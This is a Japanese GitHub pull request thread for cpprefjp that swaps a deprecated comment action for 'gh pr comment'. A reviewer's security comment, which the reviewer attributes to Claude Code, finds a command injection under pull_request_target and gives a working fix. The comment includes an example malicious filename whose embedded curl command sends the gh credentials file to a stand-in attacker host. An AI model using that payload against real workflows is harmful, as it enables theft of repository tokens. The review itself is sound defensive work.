Skip to content

workflows : PRへのコメントをghコマンドで投稿する - #1731

Merged
Raclamusi merged 3 commits into
cpprefjp:masterfrom
Raclamusi:update_workflows
Aug 17, 2026
Merged

workflows : PRへのコメントをghコマンドで投稿する#1731
Raclamusi merged 3 commits into
cpprefjp:masterfrom
Raclamusi:update_workflows

Conversation

@Raclamusi

Copy link
Copy Markdown
Member

ワークフローでPRにコメントを投稿するためのGitHubアクション thollander/actions-comment-pull-request@v3 は、廃止された Node.js 20 を使おうとするため次のような警告が表示されます。

⚠️ preview_link
Node.js 20 is deprecated. The following actions target Node.js 20 but are being forced to run on Node.js 24: thollander/actions-comment-pull-request@v3. For more information see: https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/

このアクションは更新が2年間止まっており、警告に対応したバージョンが出ることは期待できません。
このPRでは、このアクションを使わず、 gh pr comment コマンドによりコメントを投稿するように変更します。

変更点

cpprefjpのPRプレビュー生成のワークフローは、生成完了後にそのPRにプレビューのリンクを含めたコメントを投稿しますが、再生成された後はコメントを新規投稿する代わりにすでに投稿したコメントを更新します。

従来は comment-tag をつけることでプレビューリンクのコメントを識別し、それを更新していました。
このPRでは、 github-actions がプレビューリンク以外でコメントを投稿しないと仮定し、直前の同ユーザーのコメントを更新するオプション --edit-last を使っています(この仮定に反例があると壊れます)。

動作確認

フォークしたリポジトリのPRでコメントが投稿できることを確認しています。

https://github.com/Raclamusi/site/actions/runs/31986353227/job/95262560086
Raclamusi#2

image

ワークフローでPRにコメントを投稿するためのGitHubアクション thollander/actions-comment-pull-request@v3 は、廃止された Node.js 20 を使おうとするため警告が表示されます。
そこで、このアクションを使わず、 `gh pr comment` コマンドによりコメントを投稿するように変更します。
@github-actions

github-actions Bot commented Aug 17, 2026

Copy link
Copy Markdown
Contributor

プレビュー (HTML) (更新時刻: 2026-08-17 18:30:55 JST)

  • Commit: f375117
  • プレビューの生成には時間がかかります (3~5分)。進捗状況はこちらをご確認ください。

変更記事一覧

0件の記事が変更されました。

  • (内容変更された .md ファイルはありません)

※ソース (.md) に直接変更のあった記事を列挙しています。グローバル修飾や変換規則の変更による変化は考慮していません。

@faithandbrave

Copy link
Copy Markdown
Member

ありがとうございます。
Claude Codeにレビューさせたところ、コマンドインジェクションの脆弱性があると診断されました。
ご確認いただければ幸いでございます。


🔴 Critical: pull_request_target でのコマンドインジェクション

この preview_comment ジョブは on: [..., pull_request_target, ...] で起動する特権ジョブで、permissions: の明示指定が無いため既定の(書き込み権限を含む)GITHUB_TOKEN を持ちます。

変更後のコードは、${{ steps.file_list.outputs.content }}run: のシェルスクリプト中のシングルクォート --body '...' に直接展開しています。

run: |
  gh pr comment ${{ github.event.pull_request.number }} --edit-last --create-if-none --body '
  ...
  ${{ steps.file_list.outputs.content }}
  ...
  '

content は PR で変更された .md のファイル名から生成されます(git diff --name-status)。ファイル名は PR 作成者が完全に制御でき、file_list の除外フィルタは

/[][`()]/d # [ ] ` ( ) を含む行のみ除外

で、シングルクォート ' やその他のシェルメタ文字(; | $ & 等)を除外していません。

そのため、たとえば悪意ある PR が次のようなファイルを追加すると:

reference/x';curl -d @$HOME/.config/gh/hosts.yml https://evil.example;'y.md

展開後のスクリプトで最初の '--body ' を閉じ、続く ;curl ...; が特権 GITHUB_TOKEN を持つコンテキストで任意コマンドとして実行されます(トークン持ち出し・リポジトリへの push 等が可能)。

重要: 従来の thollander/... 版では、同じ content は JS アクションの message: 入力にデータとして渡っていたためシェル評価されず、この問題はありませんでした。このインジェクションは本 PR で新規に持ち込まれるものです。

修正案 — ${{ }}run: に直接埋め込まず、env: 経由で環境変数として渡し、シェルではダブルクォート変数参照する(GitHub 公式の推奨パターン):

      - name: Comment on the pull request
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          PR_NUMBER: ${{ github.event.pull_request.number }}
          COMMENT_BODY: |
            :zap: [**プレビュー (HTML)**](${{ steps.vars.outputs.base_url }}) (更新時刻: ${{ steps.vars.outputs.time }})

            - **⫯** Commit: ${{ steps.vars.outputs.sha }}
            - プレビューの生成には時間がかかります (3~5分)。進捗状況は[こちら](https://github.com/${{ steps.vars.outputs.repo_full }}/actions?query=event%3Apull_request_target+branch%3A${{ steps.vars.outputs.ubranch }})をご確認ください。

            #### 変更記事一覧

            ${{ steps.file_list.outputs.content }}

            ※ソース (.md) に直接変更のあった記事を列挙しています。グローバル修飾や変換規則の変更による変化は考慮していません。
        run: gh pr comment "$PR_NUMBER" --edit-last --create-if-none --body "$COMMENT_BODY"

env 値は展開後にシェル再評価されず、--body "$COMMENT_BODY" が単一のリテラル引数として渡るため注入不能になります(--body-file にファイル出力して渡す方法でも可)。あわせて permissions: を最小権限(この用途なら pull-requests: write のみ)に絞ることを推奨します。

コマンドインジェクション対策です。
@Raclamusi

Copy link
Copy Markdown
Member Author

チェックありがとうございます。
コマンドインジェクションの脆弱性については、おっしゃる通りです。すみません。
環境変数経由で渡すように修正しました。

1行ならパイプ記号を使う必要はない。

@faithandbrave faithandbrave left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

対応ありがとうございました〜。お好きなタイミングでマージしてください。

@Raclamusi
Raclamusi merged commit f98e547 into cpprefjp:master Aug 17, 2026
10 checks passed
@Raclamusi
Raclamusi deleted the update_workflows branch August 17, 2026 09:33
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants